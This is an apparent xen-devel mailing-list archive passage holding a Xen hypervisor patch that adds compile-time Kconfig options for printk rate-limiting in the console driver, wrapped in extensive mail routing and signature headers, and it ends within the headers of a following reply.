Received: from pps.filterd (m0367126.ppops.net [127.0.0.1])
 by mx0a-00498f03.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66T73kmb419413
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 07:25:36 GMT
Received: from sa9pr02cu001.outbound.protection.outlook.com
 (mail-southcentralusazon11013007.outbound.protection.outlook.com
 [40.93.196.7])
 by mx0a-00498f03.pphosted.com (PPS) with ESMTPS id 4fq4my3204-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 07:25:35 +0000 (GMT)
Received: from BN9PR03CA0565.namprd03.prod.outlook.com (2603:10b6:408:138::30)
 by MN6PR16MB5407.namprd16.prod.outlook.com (2603:10b6:208:476::6)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.13; Wed, 29 Jul
 2026 07:25:32 +0000
Received: from BN3PEPF0000B06E.namprd21.prod.outlook.com
 (2603:10b6:408:138:cafe::84) by BN9PR03CA0565.outlook.office365.com
 (2603:10b6:408:138::30) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.13 via Frontend Transport; Wed,
 29 Jul 2026 07:25:32 +0000
Received: from mx0b-00498f04.pphosted.com (148.163.138.245) by
 BN3PEPF0000B06E.mail.protection.outlook.com (10.167.243.73) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.292.1
 via Frontend Transport; Wed, 29 Jul 2026 07:25:32 +0000
Received: from pps.filterd (m0373461.ppops.net [127.0.0.1])
 by mx0b-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66T4bvc31788477
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 03:25:30 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-usw.ser.proofpoint.com
 [50.112.124.217])
 by mx0b-00498f04.pphosted.com (PPS) with ESMTPS id 4fnbs745jv-2
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 03:25:30 -0400 (EDT)
Received: from localhost ([19.12.92.222]) by cmsmtp with ESMTPSA
 id oyfPwmWSaqFVloyfQwVWWl; Wed, 29 Jul 2026 07:25:30 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppford; bh=ahU
	dlfdxd+A3zLj5zNn6SxYqIoT62B9ILeo4nkM51SQ=; b=g2Bx4cBQY/372Wif/Qz
	eWXFPX6/QNHg0YT+6YmZJ0Z02u6v04v2KHhtdm5Vp+BG8oStjQaqnDQgiLDBitPl
	3LxVEp45hnIal3hezTdhCu5fG0CXmdb3GZ3pxPdDT78XZ/RgEYECZ3VDJJJxNvN5
	bAfLCxc3OLj/bStqrgrKcwYYHJ7SrisoFLhY4rwHWC29Y8EroXy104UJj8bA4DgC
	VGo9/uqG28oxwr4gA+kYKxqQ8tFkDOlj7scc4YlvNxU10RygBNmtablAMM0dNrHH
	t0al8WbdYIMwE92d9VAJFk8xOG6wJ3yvuX60nTuXqMDmzYsT6nGl/MdfrsMgvesp
	TxQ==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=MPtKAjI+GTs39DPbqlySzVR3iLANzx29XY6Ml+OIhNgL/cgtaRZDd3IkFqXDY8T/G1vksLWHQ+DHHcn9vmKJoWDRotanPDiYQlu3EK9n6Etxytxtpav8Kc0DPdOisHIx/xzX+Yc0dvSNWkMh+YxuKWNdN7xOrkKGtaVRvNkZ7HQ5QIsNhpd2G5i4YxnYIzTA8aq2OBFrWeCT73mmRm2/LyphRA3kVe/uhx/4NuZSpyrit0MW7bXLG0dNpizVNhLZQIQ5iGEtPF19QnzUnh+vSE4r9l2qB1vWPr1FIRIddZyCv49oS9hzM7TWYd903Y+zAxLGhneaLrZ1/CkAWVWYRA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=ahUdlfdxd+A3zLj5zNn6SxYqIoT62B9ILeo4nkM51SQ=;
 b=Bz/ZvkZmlHCoGGQpOuh4AmzRWS08tsIjqSzWwlzSzUKNVEU8EF2wnKOMwRUv/qP/QrlRttqA8tXyEUsfDZ1b5yHF5a9cXT4ZaimEXwcHqTpCXJ0pPvJOaQhm8wqAJ4C8Af8QN62Y7i0NaMekiaw05V6GBXGv+5LkjVEGGM7sw2pZWhCazlxpSst1tAZoAFJuLhQmnmKM1ClD6j5HX/Tvfg+XaRbCn7wumw511DqWrxUxpySj+cg1hDHXeY1nlHjsC79CmNQDDx+ALUcQhPtj0olXwI93VwG3v7ZYcymWLpysoOHUFy2O3m8jdHKlNHeNzBlfbZkC7I8BMdtLgIPT1Q==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 148.163.138.245) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=ahUdlfdxd+A3zLj5zNn6SxYqIoT62B9ILeo4nkM51SQ=;
 b=Xxao2xkI0QQo+2pFFbYCUW0gouZFBqLSSzO3OoYEZ6ffBA5yfurvHsnXLFcpcm0MDwfxQqEN86oexlqbr9dxCETRuUNOOFVD96BE9Ac+LWaVK2mkedqfDWRkfSt4NuHBi9kdJxLcOGqTmu87jO331AqdEYFPDK37PWv13DxBt2I=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 148.163.138.245)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 148.163.138.245 as permitted sender) receiver=protection.outlook.com;
 client-ip=148.163.138.245; helo=mx0b-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:date:from
	:in-reply-to:message-id:mime-version:references:subject:to; s=
	ppserprodsaar; bh=ahUdlfdxd+A3zLj5zNn6SxYqIoT62B9ILeo4nkM51SQ=; b=
	Mwsvy0/gdM+5Hattv71ARLDeBK3/N3b7B5tRZ+q4cNotyJi59rbeZVGSW+j64xBB
	TiA+ckKDB5rYIq2lgUwNI2Y5mdE20lgY3nzGRKR5WJyxhBltuvd/hAduifN9tbmG
	w+qJvkTftd5gLYJQ2RXSS+YzrlWUyaVJSCUFJEeo7CJLzVL3YMqLm4UWoeOVIlmp
	4psId9V5YFTNp4UpLGmsuZQb+jDjM88qThLWPNle5v3dQub6WUuMp+vSv5b9trJP
	kAHBtGKwoa+aw3XCeq0DSLHk3HYw56bjX/CFSMsNcdHHIMdv4o+dQOE6HOKyoX3K
	X5GPL6uugwZ5lhE24YHmYA==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:date:from:in-reply-to:message-id
	:mime-version:references:subject:to; s=ppfserpocford; bh=ahUdlfd
	xd+A3zLj5zNn6SxYqIoT62B9ILeo4nkM51SQ=; b=rbGfX4ss1riq2An8CNoGOUc
	cwX2dX9pMfW4N5FRwNxxrxu6tXG+iCmgkT7n4iuyzRaGacejtUWdTqK7ZryDX9Dv
	aR6C2iqYIwukzv1XR0sO+lj6x+epK//7dbbzZ1yXyaOkqlYMR5ZWkAdxXFaGBI8G
	BNT/ykZRs3slz9013LrdhiZEp+fQciOCVW/2/3DFYBPhKUHgF7zh6mZ0nvo6XCp/
	T5HqqqeGXU1msF4Lhi/FmXdIYso9i20aDwJzmR6sJfr3vK847jS9aUApC8sljwE9
	rdTRPooXKA/7eQsCE5TO7R4s2fxBcj3RxZrt4SHW10gMk1WprUl0EHCgiqEPTEg=
	=
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: oyfPwmWSaqFVloyfQwVWWl
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
To: xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, dmukhin@ford.com
Subject: [PATCH v4 2/2] xen/console: add compile-time rate-limiting controls
Date: Wed, 29 Jul 2026 00:25:20 -0700
Message-ID: <20260729072520.1556970-3-dmukhin@ford.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260729072520.1556970-1-dmukhin@ford.com>
References: <20260729072520.1556970-1-dmukhin@ford.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-29_02,2026-07-28_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 malwarescore=0
 bulkscore=0 suspectscore=0 lowpriorityscore=0 adultscore=0 phishscore=0
 spamscore=0 classifier=typeunknown authscore=0 authtc= authcc= route=outbound
 adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607290058
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BN3PEPF0000B06E:EE_|MN6PR16MB5407:EE_
Content-Type: text/plain
X-MS-Office365-Filtering-Correlation-Id: eee30175-3529-477e-17e0-08deed42930d
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|36860700016|82310400026|376014|23010399003|1800799024|6133799003|22082099003|18002099003|3023799007|10067099003|56012099006|11063799006;
X-Microsoft-Antispam-Message-Info:
	zqLXqyPArcncYMOlNLbWWQk5ZsIOBnNP0HrQc1TFjd3Sxz/pldFvExtLiJNM2ve9g+O9Xh8HIRZn54EO0bisW0T0DExK0Ac+BruoTCrNwUQA2NvuOJvrMtuKFgtc8Zs5QmuOTfHIYqYkdWIODugU1qImERHBCro+ce4mrKi9GK31VHWtWbBAeVNwElTLw9/u+PvcoYbbRYoH90u9+Y7v8XTr1hM2TbeAwmklx0Mr6deMMdTY41GROZmPq3I5yYZ4GUwncvv0sJUMC0YTVQYqCOg7+s/1U3ZWpG6oD8IqR+sIGZmiT3q1G7O+UCOl/ebAbHurtQwY1jqN5d7CG6FjcfiBtbmQSZAthTUnsTeMXr5MfPFabIM4YNn5Up6UpZ1tpevuhwVcd6SifXzmCrtA+8rCQsWV7ZQ0WAqFwLZWQv5QOcsbA910IVpX42K0M70jn6f9BVyTwM+yUvipsG1aoeuAzzrOO0NPWhOUdw0HVH6s5OlgoTvPUcxoIjMAlx1JSkxoKFVoOugaeUpH6wJ3olg6NsZJCdP6gOPpG7U8769x4dl5Ur0Pewk3hpc9ZtdCloWlN5nd5bWa/+ZwIRL+ZQUG9fczK+CpjHg3LVTtRuiEa+c+14HSeshacKoun4uXoDA2ptGc9svW5XIgIPGyG47IVpWhkjJ0RJdiMyK9F+KEWsuTvi7XYl3OCBYAKkM2mimoYuTRqgVeambwfUKIOw==
X-Forefront-Antispam-Report:
	CIP:148.163.138.245;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0b-00498f04.pphosted.com;PTR:mx0b-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(36860700016)(82310400026)(376014)(23010399003)(1800799024)(6133799003)(22082099003)(18002099003)(3023799007)(10067099003)(56012099006)(11063799006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	nY5GPVkL5jdHMf2vt26q5p2PBqo5DDjC+xJ24MoU80RgtZptXBsx7AQypzjVQRNUL936JWktIh4VShxywKj46jHa0knWtiJC28OsKd4SY6X8jM5722hnkE3SU9xVMy/+DDmUVdw8N5xYN6Hy9Oq1J2z98Kf5EIhk3wNneRmCGy34ZcWdEjErL4pMeO9ZhH8FfrrGEfWWqxqBGn3HciCEAe2rVGN6uhaOhvpCIMDPSPQ8T2fnPdIwIoC4SPjilrflsLuJeD3kD7UT3EOEt5CpG1NlxJt6ipTYsxtxPo+CwpH6IS1r7M90hNOtQaPbuMKNMPM7Bv3LE8JQ1EaKtJXgq73lWeIhsyvhptKkauDCpRk1r9G5MWL++UlqGOli28TaCo0EdddtW7xH2xPFTV4lmLp90B3zTLIdZiAD0Tf11X5UANP9jM2ZxUaEb2wZ/IeD
X-Exchange-RoutingPolicyChecked:
	BjsB2ezVE9huyFLFg6L7VEH3zE+u2oUQm3/vLzvVjC9wH6IR4BCMzDHBFXyqjodTSdTp1hSaWuzb4B6dmYPsGf3/vLlkG56W4STsF4HOAvrf7teyi6xU+eV21usjiYvUNVsceqRG9nH/td6XcX0oDSdvvZv338J3IVu/hqssSeh39Yk5nWInIhAhi374UVtxn7BBEl1IP9gS0J1H7DzS6G1eSwHI/NR/bBpNEeJQex3ey6cRSHo11uSsudpAKiDNy8BluK+xPEsX83EVhLWBALpFZSy/6rN7quMcqLeAzeDDRD3uGRNkqTQswO9GnDZt5VeEgGva2suaUeuqTaKwkQ==
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-0:
	ccuv0+/4Rr3tSXPLW3Tc6fNubalCy3xe6s1iNh6FlYOt+or4nhLKug/OpeBgAj+T30x5ufc90YbQzPHMUaTR7S50jpmFo//aWffbS0bSZ/hk+tTPlOYQYF70k1+zp8aF/1R+eSrvh0gPxkA7aN+TQ+u7Jd4Wtoar12suTHu5y8seclIvSDzHSi3hwHvGKhEe8Wqjg+2UDST6RJGDGFIS9uVs2bLkBgO00seMuvF0g62iidC9gzAPEJzb8Zbz4OquA5ihwTBh9pDixricYaQuLLeuX5MSmz6Bs3Sq3AEiAJ2yrPlt2x1cA5ie0mxzyQq1sv1c622yqZKluY5SZM+n7KBWhhypnLZ8cPseGVNFrFc3hG84yaOxNRl2likKTAxROOSbf9K3DJog2LISCpr6FvZpps0ZisI5KL9FlHvgCCRaLVtNY1AlrGuni16+1I/TyOMDvDEx6YiOWWz2UfbaWtcJ4k8VyxeyhxihSBH7TRMDCwaoYF4xSbXMNTJl+XvztOXZSzJAdstXC8cT2I0DXwV1tTNx2YmpRGbaYGIHSlNyYokZC3L3D7/jIIM6YdZbxUWjGV5tdaeJJAK6IdKqU86pr7c+v82D6MKIb0BpLDe2LlNQTCneHYUznoMBTck/9J3e+ZUo5k1wuGZzYbeiVg==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 29 Jul 2026 07:25:32.2914
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: eee30175-3529-477e-17e0-08deed42930d
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[148.163.138.245];Helo=[mx0b-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	BN3PEPF0000B06E.namprd21.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: MN6PR16MB5407
X-Proofpoint-ORIG-GUID: MXKK-4bMjPO87WZDhlJ8dk82DKqNSSpm
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzI5MDA1OSBTYWx0ZWRfX6n0SA0+9xUgB
 7jHJY5Zs5Sx0DEQIOlgsLaOz2biGPqXqdPijOBqkUCMdxuCrUNMnTSLj73P2th+Fuy/udjaEihb
 BBMPwodYOH4fgRrdboaor6OMERtBm9LxDiN98hEB3veE5rzUvsQG+Lk1enXeudoc1ndPpYoICo7
 e5fyQuPrrGcWTrtO6Hc5NLrby+s05mFq9W1+YG1S5IeOmVArXwjKEn1YwomH3Pzi3Z+OXeLHqWh
 MKWx97MEIYqoEshnz2G1x7uDyuJ3cSv0zKfs7FSIAJA4a6uNlTaz4yVTP4EdgRFENPoxZ/KP3EL
 rSmovnEMbx1Zd/1vK5TYgl5NryGPdD8W4GPbkcxIyBTUtt9AYcXjvMV4BC9dqhO2ZuaZspRZBym
 qQGU7fTp+1PelsTkYJ3bbGpCPaDaadoed3Z70gv+OChjTWHMA9WIxTtHoMbCH32ewLs9URrWHD/
 7rIv+yY5k8c20GBIKwg==
X-Authority-Analysis: v=2.4 cv=b6CCJNGx c=1 sm=1 tr=0 ts=6a69aaef cx=c_pps
 a=B1kIKGfTVomdQYahC0fm5g==:117 a=b7IhknPlfT0FN1EembXvig==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=RAioF0-LDSMA:10 a=3PXLN80vpJUA:10
 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=P_n1zlmtWsCQbjROFjcg:22 a=-OawqTZBqJjt90xPb8wn:22 a=cbNQJ9GKAAAA:8
 a=F-48PRZmIzLXcS3vbwgA:9 a=DqJYxgmhk6moR-_7_KoZ:22
X-Proofpoint-GUID: MXKK-4bMjPO87WZDhlJ8dk82DKqNSSpm
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzI5MDA1OSBTYWx0ZWRfX57reLSo1KJ+C
 1HkoAAx5tDKhmHUQl1+aOLVcM3S4YUm0Yr8jevYdxoAXh1HyrvT9EY7xXoMyqAwJE5mviDGjeXg
 B5pucvyLrAwi2aS0LCTiy/CM0TzFwzYiLJ7fgbHCnZfhZ2+kSQ8i
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-29_02,2026-07-28_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 suspectscore=0
 bulkscore=0 malwarescore=0 phishscore=0 lowpriorityscore=0 priorityscore=1501
 spamscore=0 adultscore=0 clxscore=1015 impostorscore=0 classifier=typeunknown
 authscore=0 authtc= authcc= route=outbound adjust=0 reason=mlx scancount=1
 engine=8.22.0-2606150000 definitions=main-2607290059
X-purgate-ID: tlsNG-bad1c0/1785309938-BF6D2034-580EDD09/0/0
X-purgate-type: clean
X-purgate-size: 2860

From: Denis Mukhin <dmukhin@ford.com> 

Introduce CONFIG_PRINTK_RATELIMIT_MS and CONFIG_PRINTK_RATELIMIT_BURST
for configuring rate-limiting policy at the compile time.

Use symbols for global rate-limiting initialization in the console driver.

Signed-off-by: Denis Mukhin <dmukhin@ford.com>
---
Changes since v3:
- added note on security support for non-standard configurations
- gated menu with EXPERT

I kept both settings for now.
---
 xen/common/Kconfig         | 36 ++++++++++++++++++++++++++++++++++++
 xen/drivers/char/console.c |  6 ++++--
 2 files changed, 40 insertions(+), 2 deletions(-)

diff --git a/xen/common/Kconfig b/xen/common/Kconfig
index da80fdba8469..749d3bfb08e0 100644
--- a/xen/common/Kconfig
+++ b/xen/common/Kconfig
@@ -672,4 +672,40 @@ config PM_STATS
 	  Enable collection of performance management statistics to aid in
 	  analyzing and tuning power/performance characteristics of the system
 
+menu "Console rate-limiting"
+	visible if EXPERT
+
+config PRINTK_RATELIMIT_MS
+	int "printk rate-limiting time window (milliseconds)"
+	default 5000
+	help
+	  Specifies the time window, in milliseconds, for rate-limited [*] printk
+	  messages. No more than `CONFIG_PRINTK_RATELIMIT_BURST` messages will be
+	  printed within this window.
+
+	  Setting this value to 0 disables rate-limiting entirely.
+
+	  Configurations using a value other than the default of 5000 are not
+	  security supported.
+
+	  [*] Rate-limited messages are those controlled by the `loglvl` and
+	  `guest_loglvl` command-line parameters.
+
+config PRINTK_RATELIMIT_BURST
+	int "printk rate-limited message burst size"
+	default 10
+	help
+	  Defines the maximum number of rate-limited [*] printk messages that may
+	  be printed within each `CONFIG_PRINTK_RATELIMIT_MS` time window.
+
+	  Setting this value to 0 disables rate-limiting entirely.
+
+	  Configurations using a value other than the default of 10 are not
+	  security supported.
+
+	  [*] Rate-limited messages are those controlled by the `loglvl` and
+	  `guest_loglvl` command-line parameters.
+
+endmenu
+
 endmenu
diff --git a/xen/drivers/char/console.c b/xen/drivers/char/console.c
index 76a1681670c1..2c7be1e61f3e 100644
--- a/xen/drivers/char/console.c
+++ b/xen/drivers/char/console.c
@@ -1353,10 +1353,12 @@ bool __printk_ratelimit(unsigned int ratelimit_ms,
 }
 
 /* Minimum time in ms between messages */
-static const unsigned int printk_ratelimit_ms = 5 * 1000;
+static const unsigned int printk_ratelimit_ms =
+    CONFIG_PRINTK_RATELIMIT_MS;
 
 /* Number of messages we send before ratelimiting */
-static const unsigned int printk_ratelimit_burst = 10;
+static const unsigned int printk_ratelimit_burst =
+    CONFIG_PRINTK_RATELIMIT_BURST;
 
 bool printk_ratelimit(void)
 {
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 07:34:32 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 07:34:32 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375234.1622454 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woyo7-00017c-16; Wed, 29 Jul 2026 07:34:27 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375234.1622454; Wed, 29 Jul 2026 07:34:27 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woyo6-00017V-Ua; Wed, 29 Jul 2026 07:34:26 +0000
Received: by outflank-mailman (input) for mailman id 1375234;
 Wed, 29 Jul 2026 07:34:25 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Bertrand.Marquis@arm.com>) id 1woyo4-000176-W4
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 07:34:25 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woyo4-001je0-CZ
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 09:34:24 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Bertrand.Marquis@arm.com>)
 id 6a69aceb-2eae-0a2a0a5409dd-0a2a45078ddc-46
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 09:34:24 +0200
Received: from [52.101.84.10]
 (helo=DB3PR0202CU003.outbound.protection.outlook.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Bertrand.Marquis@arm.com>)
 id 6a69acff-b4ea-0a2a45070019-3465540a8e6a-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 09:34:24 +0200
Received: from DB9PR02CA0009.eurprd02.prod.outlook.com (2603:10a6:10:1d9::14)
 by AS4PR08MB8117.eurprd08.prod.outlook.com (2603:10a6:20b:589::15)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Wed, 29 Jul
 2026 07:34:16 +0000
Received: from DU6PEPF0000A7DE.eurprd02.prod.outlook.com
 (2603:10a6:10:1d9:cafe::60) by DB9PR02CA0009.outlook.office365.com
 (2603:10a6:10:1d9::14) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.12 via Frontend Transport; Wed,
 29 Jul 2026 07:34:15 +0000
Received: from outbound-uk1.az.dlp.m.darktrace.com (4.158.2.129) by
 DU6PEPF0000A7DE.mail.protection.outlook.com (10.167.8.38) with Microsoft SMTP
 Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.5 via
 Frontend Transport; Wed, 29 Jul 2026 07:34:15 +0000
Received: from PR3PR08MB5593.eurprd08.prod.outlook.com (2603:10a6:102:84::13)
 by GVXPR08MB7872.eurprd08.prod.outlook.com (2603:10a6:150:16::17)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.13; Wed, 29 Jul
 2026 07:33:12 +0000
Received: from PR3PR08MB5593.eurprd08.prod.outlook.com
 ([fe80::aae1:6871:afc4:620e]) by PR3PR08MB5593.eurprd08.prod.outlook.com
 ([fe80::aae1:6871:afc4:620e%6]) with mapi id 15.21.0270.009; Wed, 29 Jul 2026
 07:33:12 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=2; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=pass;
 b=BwclX4G5+gJeHHxXAG+k1aJ1rEQshaBHfMJHbM19RwMHRhbURsaKq+5b/JKibe8hV36nzPQYFpwCX8Rwe3jrcmJ5mSnNMO4gWkHVAhNga9jbuVVPabCpcP4UAiFV2XJbtqsvbIU9geDUpVAgIym+gQOQJovTwi54EO0saTmFFG2QDcMguCj2KQM4DRyr3YvYlZptu/NEBn6l505fCtVgimZPjJPcU7mYFIyLtUWLFFfvjhrslEYNHgmpPRU1hzFfRGC36LUpyDLwDpM77oCI4hergJvtSTRwEp/PIia7VVJTKeQvVmxdwtF8oPZexHqEbl4c3AcszovEcJx8aYtxiw==
ARC-Message-Signature: i=2; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Q4GMW0NQzElnhyngtJUncnCCZTMBxBsDAFT6IObqqaE=;
